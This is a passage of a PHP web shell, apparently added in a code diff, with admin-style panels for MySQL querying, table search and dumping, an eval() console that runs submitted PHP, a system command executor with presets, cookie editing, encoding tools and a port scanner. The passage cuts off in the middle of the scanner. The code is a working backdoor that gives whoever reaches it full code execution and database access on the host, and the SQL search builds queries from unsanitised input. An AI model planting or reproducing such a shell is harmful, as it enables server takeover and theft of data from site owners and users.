class=linelisting><a href="'.DxURL('kill', 'dxmode').'&dxmode=SQLS" class=no>[Search in tables...]</a></td>' + .'<td class=linelisting><a href="'.DxURL('kill', 'dxmode').'&dxmode=SQLD" class=no>[Dump...]</a></td>' + .'</tr></table>'; + + if (!empty($_GET['dxsql_d'])) + if (!mysql_select_db($_GET['dxsql_d'])) + die(DxError('Can\'t select database!'."\n".'<br>MySQL:#'.mysql_errno().' - '.mysql_error())); + + print "\n".'<table border=0 cellspacing=0 cellpadding=0 width=100%>'; + print "\n".'<tr><td width=1% class=h2_oneline style="vertical-align:top;">'; + if (!empty($_GET['dxsql_d'])) + { + print "\n\t".'<table border=0 cellspacing=0 cellpadding=0>'; + print "\n\t".'<caption>Tables:</caption>'; + DxMySQL_FetchResult(DxMySQLQ('SHOW TABLES;', true), $TABLES, true); + for ($i=0;$i<count($TABLES);$i++) $TABLES[$i]=$TABLES[$i][0]; + asort($TABLES); + for ($i=0;$i<count($TABLES);$i++) + { + DxMySQL_FetchResult(DxMySQLQ('SELECT COUNT(*) FROM `'.$TABLES[$i].'`;', true), $TRowCnt, true); + print "\n\t".'<tr><td class="listing"><nobr>'.(($TRowCnt[0][0]>0)?'&gt; ':'&nbsp;&nbsp;').$TABLES[$i].'</td></tr>'; + } + print "\n\t".'</table>'; + } + print "\n".'</td><td width=100%>'; + print "\n".'<form action="'.DxURL('leave', '').'" method=POST>'; + print "\n".'[?] Can run several querys if divided by ";"<br>If smth is wrong with charset, write first: SET NAMES cp1251;'; + print "\n".'<textarea name="dxsql_q" rows=10 style="width:100%;">'.((empty($_POST['dxsql_q']))?'':$_POST['dxsql_q']).'</textarea>'; + print "\n".'<div align=right>' + .'<input type=submit value="Query" class="submit"> ' + .'<input type=submit name="dxparam" value="Download Query" class="submit"></div></form>' + .'<br>'; + + if (empty($_POST['dxsql_q'])) die('</td></tr></table>'); + $_POST['dxsql_q']=explode(';', $_POST['dxsql_q']); + + foreach ($_POST['dxsql_q'] as $CUR_Q) + { + if (empty($CUR_Q)) continue; + $CUR_Q.=';'; + + $num=DxMySQL_FetchResult(DxMySQLQ($CUR_Q, true), $FETCHED, false); + if ($num<=0) continue; + + print "\n\n\n".'<table border=0 cellspacing=0 cellpadding=0><caption>'.$CUR_Q.'</caption>'; + + $INDEXES=array_keys($FETCHED[0]); + print "\n\t".'<tr><td class="listing" colspan='.(count($INDEXES)+1).'>&gt;&gt; Fetched: '.$num. str_repeat('&nbsp;', 10). 'Affected: '.mysql_affected_rows().'</td></tr>'; + print "\n\t".'<tr><td class="listing"><div align=center class="highlight_txt">###</td>'; + foreach ($INDEXES as $key) print '<td class="listing"><div align=center class="highlight_txt">'.$key.'</td>'; + print '</tr>'; + + for ($l=0;$l<count($FETCHED);$l++) + { + print "\n\t".'<tr><td class="listing" width=40><div align=right class="highlight_txt">'.$l.'</td>'; + for ($i=0; $i<count($INDEXES); $i++) + print '<td class="listing"> '.DxDecorVar($FETCHED[$l][ $INDEXES[$i] ], true).'</td>'; + } + + print "\n".'</table><br>'; + } + print "\n".'</td></tr></table>'; + } + +######## +######## SQL Search +######## +if ($_GET['dxmode']=='SQLS') + { + if (!isset($_GET['dxsql_s'], $_GET['dxsql_l'], $_GET['dxsql_p'], $_GET['dxsql_d'])) die(DxError('SQL server/login/password/database are not set')); + + if ((mysql_connect($_GET['dxsql_s'],$_GET['dxsql_l'],$_GET['dxsql_p'])===FALSE) or (mysql_errno()!=0)) + die(DxError('No connection to mysql server!'."\n".'<br>MySQL:#'.mysql_errno().' - '.mysql_error())); + else print '&gt;&gt; MySQL connected!'; + + if (!mysql_select_db($_GET['dxsql_d'])) + die(DxError('Can\'t select database!'."\n".'<br>MySQL:#'.mysql_errno().' - '.mysql_error())); + + print "\n".'<table border=0 cellspacing=0 cellpadding=0><tr><td class=h2_oneline><h2>DB:</h2></td>'; + print "\n".'<td class=linelisting><font class=highlight_txt>'.((empty($_GET['dxsql_d']))?'&lt;Server&gt;':$_GET['dxsql_d']).'</font></td></tr></table>'; + + print "\n".'<form action="'.DxURL('leave', '').'" method=POST>'; + print "\n".'<table border=0 cellspacing=0 cellpadding=0 width=100%>'; + print "\n".'<tr><td width=1% class=h2_oneline style="vertical-align:top;">'; + + DxMySQL_FetchResult(DxMySQLQ('SHOW TABLES;', true), $TABLES, true); + for ($i=0;$i<count($TABLES);$i++) $TABLES[$i]=$TABLES[$i][0]; + asort($TABLES); + + if (isset($_POST['dxsqlsearch']['txt'])) + if (get_magic_quotes_gpc()==1) $_POST['dxsqlsearch']['txt']=stripslashes($_POST['dxsqlsearch']['txt']); + + print "\n\t".'<SELECT MULTIPLE name="dxsqlsearch[tables][]" SIZE=30>'; + for ($i=0;$i<count($TABLES);$i++) + { + DxMySQL_FetchResult(DxMySQLQ('SELECT COUNT(*) FROM `'.$TABLES[$i].'`;', true), $TRowCnt, true); + if ($TRowCnt[0][0]>0) + print "\n\t".'<OPTION value="'.$TABLES[$i].'" ' + .( (isset($_POST['dxsqlsearch']['tables']))? ((in_array($TABLES[$i], $_POST['dxsqlsearch']['tables']))?'SELECTED':'') :'SELECTED' ).'>' + .$TABLES[$i].'</OPTION>'; + } + print "\n\t".'</SELECT>'; + print "\n".'</td><td width=100%>'; + print "\n".'<input type=text name="dxsqlsearch[txt]" style="width:100%;" value="'.((empty($_POST['dxsqlsearch']['txt']))?'':str_replace('"', '&quot;', $_POST['dxsqlsearch']['txt'])).'">'; + print "\n".'<br>'; + foreach (array('Any', 'Each', 'Exact', 'RegExp') as $cur_rad) + print '<input type=radio name="dxsqlsearch[mode]" value="'.strtolower($cur_rad).'" ' + .( (isset($_POST['dxsqlsearch']['mode']))? (($_POST['dxsqlsearch']['mode']==strtolower($cur_rad))?'CHECKED':'') :(($cur_rad=='Any')?'CHECKED':'') ) + .' class=radio>'.$cur_rad.'&nbsp;&nbsp;&nbsp;'; + print "\n".'<div align=right><input type=submit value="Search..." class=submit style="width:100pt;"></div>'; + print "\n".'</form>'; + + if (!isset($_POST['dxsqlsearch'])) die('</td></tr></table>'); + + if (empty($_POST['dxsqlsearch']['tables'])) die(DxError('No tables selected')); + + if (in_array($_POST['dxsqlsearch']['mode'], array('any', 'each'))) $_POST['dxsqlsearch']['txt']=explode(' ', mysql_real_escape_string($_POST['dxsqlsearch']['txt'])); + else $_POST['dxsqlsearch']['txt']=array($_POST['dxsqlsearch']['txt']); + + + $GLOBALFOUND=0; + foreach ($_POST['dxsqlsearch']['tables'] as $CUR_TABLE) + { + $Q='SELECT * FROM `'.$CUR_TABLE.'` WHERE '; + $Q_ARR=array(); + DxMySQL_FetchResult(DxMySQLQ('SHOW COLUMNS FROM `'.$CUR_TABLE.'`;', true), $COLS, true); for ($i=0; $i<count($COLS);$i++) $COLS[$i]=$COLS[$i][0]; + foreach ($COLS as $CUR_COL) + { + if (in_array($_POST['dxsqlsearch']['mode'], array('any', 'each', 'exact'))) + { + for ($i=0;$i<count($_POST['dxsqlsearch']['txt']);$i++) + $Q_ARR[]=$CUR_COL.' LIKE "%'.($_POST['dxsqlsearch']['txt'][$i]).'%"'; + } + else $Q_ARR[]=$CUR_COL.' REGEXP '.$_POST['dxsqlsearch']['txt'][0]; + + if ($_POST['dxsqlsearch']['mode']=='each') + { + $Q_ARR_EXACT[]=implode(' AND ', $Q_ARR); + $Q_ARR=array(); + } + } + if (in_array($_POST['dxsqlsearch']['mode'], array('any', 'exact'))) $Q.=implode(' OR ', $Q_ARR).';'; + if ($_POST['dxsqlsearch']['mode']=='each') $Q.=' ( '.implode(' ) OR ( ', $Q_ARR_EXACT).' );'; + if ($_POST['dxsqlsearch']['mode']=='regexp') $Q.=' ( '.implode(' ) OR ( ',$Q_ARR).' );'; + + /* $Q is ready */ + + if (($num=DxMySQL_FetchResult(DxMySQLQ($Q, true), $FETCHED, true))>0) + { + $GLOBALFOUND+=$num; + print "\n\n".'<table border=0 cellspacing=0 cellpadding=0 align=center><caption>'.$num.' matched in '.$CUR_TABLE.' :</caption>'; + print "\n\t".'<tr><td class=listing><font class="highlight_txt">'.implode('</td><td class=listing><font class="highlight_txt">', $COLS).'</td></tr>'; + for ($l=0;$l<count($FETCHED);$l++) + { + print "\n\t".'<tr>'; + for ($i=0; $i<count($FETCHED[$l]); $i++) print '<td class="listing"> '.DxDecorVar($FETCHED[$l][$i], true).'</td>'; + print '</tr>'; + } + print "\n".'</table><br>'; + } + } + print "\n".'<br>Total: '.$GLOBALFOUND.' matches'; + + print "\n".'</td></tr></table>'; + } + +######## +######## SQL Dump +######## +if ($_GET['dxmode']=='SQLD') + { + if (!isset($_GET['dxsql_s'], $_GET['dxsql_l'], $_GET['dxsql_p'], $_GET['dxsql_d'])) die(DxError('SQL server/login/password/database are not set')); + + if ((mysql_connect($_GET['dxsql_s'],$_GET['dxsql_l'],$_GET['dxsql_p'])===FALSE) or (mysql_errno()!=0)) + die(DxError('No connection to mysql server!'."\n".'<br>MySQL:#'.mysql_errno().' - '.mysql_error())); + else print '&gt;&gt; MySQL connected!'; + + if (!mysql_select_db($_GET['dxsql_d'])) + die(DxError('Can\'t select database!'."\n".'<br>MySQL:#'.mysql_errno().' - '.mysql_error())); + + print "\n".'<table border=0 cellspacing=0 cellpadding=0><tr><td class=h2_oneline><h2>DB:</h2></td>'; + print "\n".'<td class=linelisting><font class=highlight_txt>'.((empty($_GET['dxsql_d']))?'&lt;Server&gt;':$_GET['dxsql_d']).'</font></td></tr></table>'; + + print "\n".'<form action="'.DxURL('leave', '').'" method=POST>'; + print "\n".'<table border=0 cellspacing=0 cellpadding=0 width=100%>'; + print "\n".'<tr><td width=1% class=h2_oneline style="vertical-align:top;">'; + + DxMySQL_FetchResult(DxMySQLQ('SHOW TABLES;', true), $TABLES, true); + for ($i=0;$i<count($TABLES);$i++) $TABLES[$i]=$TABLES[$i][0]; + asort($TABLES); + + print "\n\t".'<SELECT MULTIPLE name="dxsql_tables[]" SIZE=30>'; + for ($i=0;$i<count($TABLES);$i++) + { + DxMySQL_FetchResult(DxMySQLQ('SELECT COUNT(*) FROM `'.$TABLES[$i].'`;', true), $TRowCnt, true); + if ($TRowCnt[0][0]>0) + print "\n\t".'<OPTION value="'.$TABLES[$i].'" SELECTED>'.$TABLES[$i].'</OPTION>'; + } + print "\n\t".'</SELECT>'; + print "\n".'</td><td width=100%>You can set a pre-dump-query(s) (ex: SET NAMES cp1251; ):'; + print "\n".'<input type=text name="dxsql_q" style="width:100%;">'; + print "\n".'<br>'; + print "\n".'<div align=right>' + .'GZIP <input type=checkbox name="dx_gzip" value="Yeah, baby">'.str_repeat('&nbsp;', 10) + .'<input type=submit value="Dump!" class=submit style="width:100pt;"></div>'; + print "\n".'</form>'; + } + + ################################### + +######## +######## PHP Console +######## +if ($_GET['dxmode']=='PHP') + { + if (isset($_GET['dxval'])) $_POST['dxval']=$_GET['dxval']; + + print "\n".'<table border=0 align=right><tr><td class=h2_oneline>Do</td><td class="linelisting">'; + $PRESETS=array_keys($GLOB['VAR']['PHP']['Presets']); + for ($i=0; $i<count($PRESETS);$i++) + print "\n\t".'<a href="'.DxURL('leave', 'dxmode').'&dxval=dxpreset__'.$PRESETS[$i].'" class=no>['.$PRESETS[$i].']</a>' + .( ($i==(count($PRESETS)-1))?'':str_repeat('&nbsp;',3) ); + print "\n\n".'</td></tr></table><br><br>'; + + if (isset($_POST['dxval'])) + if (strpos($_POST['dxval'], 'dxpreset__')===0) + { + $_POST['dxval']=substr($_POST['dxval'], strlen('dxpreset__')); + if (!isset($GLOB['VAR']['PHP']['Presets'][$_POST['dxval']])) die(DxError('Undeclared preset')); + $_POST['dxval']=$GLOB['VAR']['PHP']['Presets'][$_POST['dxval']]; + } + + print "\n".'<form action="'.DxURL('leave', '').'" method=POST>'; + print "\n".'<textarea name="dxval" rows=15 style="width:100%;">'.((isset($_POST['dxval']))?$_POST['dxval']:'').'</textarea>'; + print "\n".'<div align=right><input type=submit value="Eval" class="submit" style="width:200pt;"></div>'; + print "\n".'</form>'; + if (isset($_POST['dxval'])) + { + print str_repeat("\n", 10).'<!--php_eval-->'."\n\n".'<table border=0 width=100%><tr><td class=listing>'."\n\n"; + eval($_POST['dxval']); + print str_repeat("\n", 10).'<!--/php_eval-->'.'</td></tr></table>'; + } + } + + ################################### + +######## +######## Cookies Maintenance +######## +if ($_GET['dxmode']=='COOK') + { + if ($DXGLOBALSHIT) DxWarning('Set cookie may fail. This is because "'.basename($_SERVER['PHP_SELF']).'" has fucked up the output with it\'s shit =('); + print 'Found <font class="highlight_txt">'.($CNT=count($_COOKIE)).' cookie'.(($CNT==1)?'':'s'); + + print "\n".'<div align=right><a href="'.DxURL('leave', '').'">[RELOAD]</a></div>'; + + print "\n".'<form action="'.DxURL('leave', '').'" method=POST>'; + print "\n".'<table border=0 align=center><tr><td class=linelisting><div align=center><font class="highlight_txt">Cookie name</td><td class=linelisting><div align=center><font class="highlight_txt">Value</td></tr>'; + for ($look_len=1, $maxlen=0; $look_len>=0;$look_len--) + { + if ($maxlen>100) $maxlen=100; + if ($maxlen<30) $maxlen=30; + $maxlen+=3; + for ($INDEXES=array_keys($_COOKIE), $i=0;$i<count($INDEXES);$i++) + { + if ($look_len) {if (strlen($_COOKIE[ $INDEXES[$i] ])>$maxlen) {$maxlen=strlen($_COOKIE[ $INDEXES[$i] ]);} continue;} + + print "\n".'<tr><td class=linelisting>'.$INDEXES[$i].'</td>' + .'<td class=linelisting><input type=text ' + .'name="dxparam['.str_replace(array('"', "\n", "\r", "\t"), array('&quot;',' ',' ',' '), $INDEXES[$i]).']" ' + .'value="'.str_replace(array('"', "\n", "\r", "\t"), array('&quot;',' ',' ',' '), $_COOKIE[ $INDEXES[$i] ]).'" ' + .'SIZE='.$maxlen.'></td>' + .'</tr>'; + } + if (!$look_len) + { + print "\n".'<tr><td colspan=2><div align=center>[Set new cookie]</td></tr>'; + print "\n".'<tr><td class=linelisting><input type=text name="dxparam[DXS_NEWCOOK][NAM]" value="" style="width:99%;"></td>' + .'<td class=linelisting><input type=text name="dxparam[DXS_NEWCOOK][VAL]" value="" SIZE='.$maxlen.'></td>' + .'</tr>'; + print "\n".'<tr><td class=linelisting colspan=2 style="text-align:center;">' + .'<input type=submit value="Save" class="submit" style="width:50%;">' + .'</td></tr>'; + } + } + print "\n".'</table></form>'; + } + + ################################### + +######## +######## Command line +######## +if ($_GET['dxmode']=='CMD') + { + print "\n".'<table border=0 align=right><tr><td class=h2_oneline>Do</td><td>'; + print "\n".'<SELECT name="selector" onchange="document.getElementById(\'dxval\').value+=document.getElementById(\'selector\').value+\'\n\'" style="width:200pt;">'; + print "\n\t".'<OPTION></OPTION>'; + $PRESETS=array_keys($GLOB['VAR']['CMD']['Presets']); + for ($i=0; $i<count($PRESETS);$i++) + print "\n\t".'<OPTION value="'.str_replace('"','&quot;',$GLOB['VAR']['CMD']['Presets'][ $PRESETS[$i] ]).'">'.$PRESETS[$i].'</OPTION>'; + print "\n\n".'</SELECT></td></tr></table><br><br>'; + + if (isset($_POST['dxval'])) + if (strpos($_POST['dxval'], 'dxpreset__')===0) + { + $_POST['dxval']=substr($_POST['dxval'], strlen('dxpreset__')); + if (!isset($GLOB['VAR']['CMD']['Presets'][$_POST['dxval']])) die(DxError('Undeclared preset')); + $_POST['dxval']=$GLOB['VAR']['CMD']['Presets'][$_POST['dxval']]; + } + + $warnstr=DxExecNahuj('',$trash1, $trash2); + if (!$warnstr[1]) DxWarning($warnstr[2]); + + print "\n".'<form action="'.DxURL('leave', '').'" method=POST>'; + print "\n".'<textarea name="dxval" rows=5 style="width:100%;">'.((isset($_POST['dxval']))?$_POST['dxval']:'').'</textarea>'; + print "\n".'<div align=right>' + .'<input type=submit value="Exec" class="submit" style="width:100pt;"> ' + .'</div>'; + print "\n".'</form>'; + if (isset($_POST['dxval'])) + { + $_POST['dxval']=split("\n", str_replace("\r", '', $_POST['dxval'])); + for ($i=0; $i<count($_POST['dxval']); $i++) + { + $CUR=$_POST['dxval'][$i]; + if (empty($CUR)) continue; + + DxExecNahuj($CUR,$OUT, $RET); + print str_repeat("\n", 10).'<!--'.$warnstr[2].'("'.$CUR.'")-->'."\n\n".'<table border=0 width=100%><tr><td class=listing>'."\n\n"; + + print '<span style="position:absolute;left:10%;" class="highlight_txt">Return</span>'; + print '<span style="position:absolute;right:30%;" class="highlight_txt">Output</span>'; + print '<br><nobr>'; + print "\n".'<textarea rows=10 style="width:20%;display:inline;">'.$CUR."\n\n".( (is_array($RET))?implode("\n", $RET):$RET).'</textarea>'; + print "\n".'<textarea rows=10 style="width:79%;display:inline;">'."\n".( (is_array($OUT))?implode("\n", $OUT):$OUT).'</textarea>'; + print '</nobr>'; + print str_repeat("\n", 10).'<!--/'.$warnstr[2].'("'.$CUR.'")-->'."\n\n".'</td></tr></table>'; + } + } + } + + ################################### + +######## +######## String functions +######## +if ($_GET['dxmode']=='STR') + { + if (isset($_POST['dxval'], $_POST['dxparam'])) + { + $crypted=''; + if ($_POST['dxparam']=='md5') $crypted.=md5($_POST['dxval']); + if ($_POST['dxparam']=='sha1') $crypted.=sha1($_POST['dxval']); + if ($_POST['dxparam']=='crc32') $crypted.=crc32($_POST['dxval']); + if ($_POST['dxparam']=='2base') $crypted.=base64_encode($_POST['dxval']); + if ($_POST['dxparam']=='base2') $crypted.=base64_decode($_POST['dxval']); + if ($_POST['dxparam']=='2HEX') for ($i=0;$i<strlen($_POST['dxval']);$i++) $crypted.=strtoupper(dechex(ord($_POST['dxval'][$i]))).' '; + if ($_POST['dxparam']=='HEX2') {$_POST['dxval']=str_replace(' ','',$_POST['dxval']); for ($i=0;$i<strlen($_POST['dxval']);$i+=2) $crypted.=chr(hexdec($_POST['dxval'][$i].$_POST['dxval'][$i+1]));} + if ($_POST['dxparam']=='2DEC') {$crypted='CHAR('; for ($i=0;$i<strlen($_POST['dxval']); $i++) $crypted.=ord($_POST['dxval'][$i]).(($i<(strlen($_POST['dxval'])-1))?',':')');} + if ($_POST['dxparam']=='2URL') $crypted.=urlencode($_POST['dxval']); + if ($_POST['dxparam']=='URL2') $crypted.=urldecode($_POST['dxval']); + } + if (isset($crypted)) print $_POST['dxparam'].'(<font class="highlight_txt"> '.$_POST['dxval'].' </font>) = '; + print "\n".'<form action="'.DxURL('leave', '').'" method=POST>'; + print "\n".'<textarea name="dxval" rows=20 style="width:100%;">'.((isset($crypted))?$crypted:'').'</textarea>'; + print "\n".'<div align=right>' + .'<input type=submit name="dxparam" value="md5" class="submit" style="width:50pt;"> ' + .'<input type=submit name="dxparam" value="sha1" class="submit" style="width:50pt;"> ' + .'<input type=submit name="dxparam" value="crc32" class="submit" style="width:50pt;"> '.str_repeat('&nbsp;', 5) + .'<input type=submit name="dxparam" value="2base" class="submit" style="width:50pt;"> ' + .'<input type=submit name="dxparam" value="base2" class="submit" style="width:50pt;"> ' + .'<input type=submit name="dxparam" value="2HEX" class="submit" style="width:50pt;"> ' + .'<input type=submit name="dxparam" value="HEX2" class="submit" style="width:50pt;"> ' + .'<input type=submit name="dxparam" value="2DEC" class="submit" style="width:50pt;"> ' + .'<input type=submit name="dxparam" value="2URL" class="submit" style="width:50pt;"> ' + .'<input type=submit name="dxparam" value="URL2" class="submit" style="width:50pt;"> ' + .'</div>'; + print "\n".'</form>'; + } + +######## +######## Port scaner +######## +if ($_GET['dxmode']=='PRT') + { + print '[!] For complete portlist go to <a href="http://www.iana.org/assignments/port-numbers" target=_blank>http://www.iana.org/assignments/port-numbers</a>'; + + if (isset($_POST['dxportscan']) or isset($_GET['dxparam'])) + $DEF_PORTS=array (1=>'tcpmux (TCP Port Service Multiplexer)',2=>'Management Utility',3=>'Compression Process',5=>'rje (Remote Job Entry)',7=>'echo',9=>'discard',11=>'systat',13=>'daytime',15=>'netstat',17=>'quote of the day',18=>'send/rwp',19=>'character generator',20=>'ftp-data',21=>'ftp',22=>'ssh, pcAnywhere',23=>'Telnet',25=>'SMTP (Simple Mail Transfer)',27=>'ETRN (NSW User System FE)',29=>'MSG ICP',31=>'MSG Authentication',33=>'dsp (Display Support Protocol)',37=>'time',38=>'RAP (Route Access Protocol)',39=>'rlp (Resource Location Protocol)',41=>'Graphics',42=>'nameserv, WINS',43=>'whois, nickname',44=>'MPM FLAGS Protocol',45=>'Message Processing Module [recv]',46=>'MPM [default send]',47=>'NI FTP',48=>'Digital Audit Daemon',49=>'TACACS, Login Host Protocol',50=>'RMCP, re-mail-ck',53=>'DNS',57=>'MTP (any private terminal access)',59=>'NFILE',60=>'Unassigned',61=>'NI MAIL',62=>'ACA Services',63=>'whois++',64=>'Communications Integrator (CI)',65=>'TACACS-Database Service',66=>'Oracle SQL*NET',67=>'bootps (Bootstrap Protocol Server)',68=>'bootpd/dhcp (Bootstrap Protocol Client)',69=>'Trivial File Transfer Protocol (tftp)',70=>'Gopher',71=>'Remote Job Service',72=>'Remote Job Service',73=>'Remote Job Service',74=>'Remote Job Service',75=>'any private dial out service',76=>'Distributed External Object Store',77=>'any private RJE service',78=>'vettcp',79=>'finger',80=>'World Wide Web HTTP',81=>'HOSTS2 Name Serve',82=>'XFER Utility',83=>'MIT ML Device',84=>'Common Trace Facility',85=>'MIT ML Device',86=>'Micro Focus Cobol',87=>'any private terminal link',88=>'Kerberos, WWW',89=>'SU/MIT Telnet Gateway',90=>'DNSIX Securit Attribute Token Map',91=>'MIT Dover Spooler',92=>'Network Printing Protocol',93=>'Device Control Protocol',94=>'Tivoli Object Dispatcher',95=>'supdup',96=>'DIXIE',98=>'linuxconf',99=>'Metagram Relay',100=>'[unauthorized use]',101=>'HOSTNAME',102=>'ISO, X.400, ITOT',103=>'Genesis Point-to&#14144;&#429;oi&#65535;&#65535; T&#0;&#0;ns&#0;&#0;et',104=>'ACR-NEMA Digital Imag. & Comm. 300',105=>'CCSO name server protocol',106=>'poppassd',107=>'Remote Telnet Service',108=>'SNA Gateway Access Server',109=>'POP2',110=>'POP3',111=>'Sun RPC Portmapper',112=>'McIDAS Data Transmission Protocol',113=>'Authentication Service',115=>'sftp (Simple File Transfer Protocol)',116=>'ANSA REX Notify',117=>'UUCP Path Service',118=>'SQL Services',119=>'NNTP',120=>'CFDP',123=>'NTP',124=>'SecureID',129=>'PWDGEN',133=>'statsrv',135=>'loc-srv/epmap',137=>'netbios-ns',138=>'netbios-dgm (UDP)',139=>'NetBIOS',143=>'IMAP',144=>'NewS',150=>'SQL-NET',152=>'BFTP',153=>'SGMP',156=>'SQL Service',161=>'SNMP',175=>'vmnet',177=>'XDMCP',178=>'NextStep Window Server',179=>'BGP',180=>'SLmail admin',199=>'smux',210=>'Z39.50',213=>'IPX',218=>'MPP',220=>'IMAP3',256=>'RAP',257=>'Secure Electronic Transaction',258=>'Yak Winsock Personal Chat',259=>'ESRO',264=>'FW1_topo',311=>'Apple WebAdmin',350=>'MATIP type A',351=>'MATIP type B',363=>'RSVP tunnel',366=>'ODMR (On-Demand Mail Relay)',371=>'Clearcase',387=>'AURP (AppleTalk Update-Based Routing Protocol)',389=>'LDAP',407=>'Timbuktu',427=>'Server Location',434=>'Mobile IP',443=>'ssl',444=>'snpp, Simple Network Paging Protocol',445=>'SMB',458=>'QuickTime TV/Conferencing',468=>'Photuris',475=>'tcpnethaspsrv',500=>'ISAKMP, pluto',511=>'mynet-as',512=>'biff, rexec',513=>'who, rlogin',514=>'syslog, rsh',515=>'lp, lpr, line printer',517=>'talk',520=>'RIP (Routing Information Protocol)',521=>'RIPng',522=>'ULS',531=>'IRC',543=>'KLogin, AppleShare over IP',545=>'QuickTime',548=>'AFP',554=>'Real Time Streaming Protocol',555=>'phAse Zero',563=>'NNTP over SSL',575=>'VEMMI',581=>'Bundle Discovery Protocol',593=>'MS-RPC',608=>'SIFT/UFT',626=>'Apple ASIA',631=>'IPP (Internet Printing Protocol)',635=>'RLZ DBase',636=>'sldap',642=>'EMSD',648=>'RRP (NSI Registry Registrar Protocol)',655=>'tinc',660=>'Apple MacOS Server Admin',666=>'Doom',674=>'ACAP',687=>'AppleShare IP Registry',700=>'buddyphone',705=>'AgentX for SNMP',901=>'swat, realsecure',993=>'s-imap',995=>'s-pop',1024=>'Reserved',1025=>'network blackjack',1062=>'Veracity',1080=>'SOCKS',1085=>'WebObjects',1227=>'DNS2Go',1243=>'SubSeven',1338=>'Millennium Worm',1352=>'Lotus Notes',1381=>'Apple Network License Manager',1417=>'Timbuktu Service 1 Port',1418=>'Timbuktu Service 2 Port',1419=>'Timbuktu Service 3 Port',1420=>'Timbuktu Service 4 Port',1433=>'Microsoft SQL Server',1434=>'Microsoft SQL Monitor',1477=>'ms-sna-server',1478=>'ms-sna-base',1490=>'insitu-conf',1494=>'Citrix ICA Protocol',1498=>'Watcom-SQL',1500=>'VLSI License Manager',1503=>'T.120',1521=>'Oracle SQL',1522=>'Ricardo North America License Manager',1524=>'ingres',1525=>'prospero',1526=>'prospero',1527=>'tlisrv',1529=>'oracle',1547=>'laplink',1604=>'Citrix ICA, MS Terminal Server',1645=>'RADIUS Authentication',1646=>'RADIUS Accounting',1680=>'Carbon Copy',1701=>'L2TP/LSF',1717=>'Convoy',1720=>'H.323/Q.931',1723=>'PPTP control port',1731=>'MSICCP',1755=>'Windows Media .asf',1758=>'TFTP multicast',1761=>'cft-0',1762=>'cft-1',1763=>'cft-2',1764=>'cft-3',1765=>'cft-4',1766=>'cft-5',1767=>'cft-6',1808=>'Oracle-VP2',1812=>'RADIUS server',1813=>'RADIUS accounting',1818=>'ETFTP',1973=>'DLSw DCAP/DRAP',1985=>'HSRP',1999=>'Cisco AUTH',2001=>'glimpse',2049=>'NFS',2064=>'distributed.net',2065=>'DLSw',2066=>'DLSw',2106=>'MZAP',2140=>'DeepThroat',2301=>'Compaq Insight Management Web Agents',2327=>'Netscape Conference',2336=>'Apple UG Control',2427=>'MGCP gateway',2504=>'WLBS',2535=>'MADCAP',2543=>'sip',2592=>'netrek',2727=>'MGCP call agent',2628=>'DICT',2998=>'ISS Real Secure Console Service Port',3000=>'Firstclass',3001=>'Redwood Broker',3031=>'Apple AgentVU',3128=>'squid',3130=>'ICP',3150=>'DeepThroat',3264=>'ccmail',3283=>'Apple NetAssitant',3288=>'COPS',3305=>'ODETTE',3306=>'mySQL',3389=>'RDP Protocol (Terminal Server)',3521=>'netrek',4000=>'icq, command-n-conquer and shell nfm',4321=>'rwhois',4333=>'mSQL',4444=>'KRB524',4827=>'HTCP',5002=>'radio free ethernet',5004=>'RTP',5005=>'RTP',5010=>'Yahoo! Messenger',5050=>'multimedia conference control tool',5060=>'SIP',5150=>'Ascend Tunnel Management Protocol',5190=>'AIM',5500=>'securid',5501=>'securidprop',5423=>'Apple VirtualUser',5555=>'Personal Agent',5631=>'PCAnywhere data',5632=>'PCAnywhere',5678=>'Remote Replication Agent Connection',5800=>'VNC',5801=>'VNC',5900=>'VNC',5901=>'VNC',6000=>'X Windows',6112=>'BattleNet',6502=>'Netscape Conference',6667=>'IRC',6670=>'VocalTec Internet Phone, DeepThroat',6699=>'napster',6776=>'Sub7',6970=>'RTP',7007=>'MSBD, Windows Media encoder',7070=>'RealServer/QuickTime',7777=>'cbt',7778=>'Unreal',7648=>'CU-SeeMe',7649=>'CU-SeeMe',8000=>'iRDMI/Shoutcast Server',8010=>'WinGate 2.1',8080=>'HTTP',8181=>'HTTP',8383=>'IMail WWW',8875=>'napster',8888=>'napster',8889=>'Desktop Data TCP 1',8890=>'Desktop Data TCP 2',8891=>'Desktop Data TCP 3: NESS application',8892=>'Desktop Data TCP 4: FARM product',8893=>'Desktop Data TCP 5: NewsEDGE/Web application',8894=>'Desktop Data TCP 6: COAL application',9000=>'CSlistener',10008=>'cheese worm',11371=>'PGP 5 Keyserver',13223=>'PowWow',13224=>'PowWow',14237=>'Palm',14238=>'Palm',18888=>'LiquidAudio',21157=>'Activision',22555=>'Vocaltec Web Conference',23213=>'PowWow',23214=>'PowWow',23456=>'EvilFTP',26000=>'Quake',27001=>'QuakeWorld',27010=>'Half-Life',27015=>'Half-Life',27960=>'QuakeIII',30029=>'AOL Admin',31337=>'Back Orifice',32777=>'rpc.walld',45000=>'Cisco NetRanger postofficed',32773=>'rpc bserverd',32776=>'rpc.spray',32779=>'rpc.cmsd',38036=>'timestep',40193=>'Novell',41524=>'arcserve discovery',); + + if (isset($_GET['dxparam'])) + { + print "\n".'<table><tr><td class=listing colspan=2><h2>#Scan main will scan these '.count($DEF_PORTS).' ports:</td></tr>'; + $INDEXES=array_keys($DEF_PORTS); + for ($i=0;$i<count($INDEXES);$i++) + print "\n".'<tr><td width=40 class=listing style="text-align:right;">'.$INDEXES[$i].'</td><td class=listing>'.$DEF_PORTS[ $INDEXES[$i] ].'</td></tr>'; + print "\n".'</table>'; + die(); + } + + if (isset($_POST['dxportscan'])) + { + $OKAY_PORTS = 0; + $TOSCAN=array(); + + if ($_POST['dxportscan']['ports']=='#default') $TOSCAN=array_keys($DEF_PORTS); + else + { + $_POST['dxportscan']['ports']=explode(',',$_POST['dxportscan']['ports']); + for ($i=0;$i<count($_POST['dxportscan']['ports']);$i++) + { + $_POST['dxportscan']['ports'][$i]=explode('-',$_POST['dxportscan']['ports'][$i]); + if (count($_POST['dxportscan']['ports'][$i])==1) $TOSCAN[]=$_POST['dxportscan']['ports'][$i][0]; + else + $TOSCAN+=range($_POST['dxportscan']['ports'][$i][0], $_POST['dxportscan']['ports'][$i][1]); + $_POST['dxportscan']['ports'][$i]=implode('-', $_POST['dxportscan']['ports'][$i]); + } + $_POST['dxportscan']['ports']=implode(',',$_POST['dxportscan']['ports']); + } + + print "\n".'<table><tr><td colspan=2><font class="highlight_txt">Opened ports:</td></tr>'; + list($usec, $sec) = explode(' ', microtime()); + $start=(float)$usec + (float)$sec; 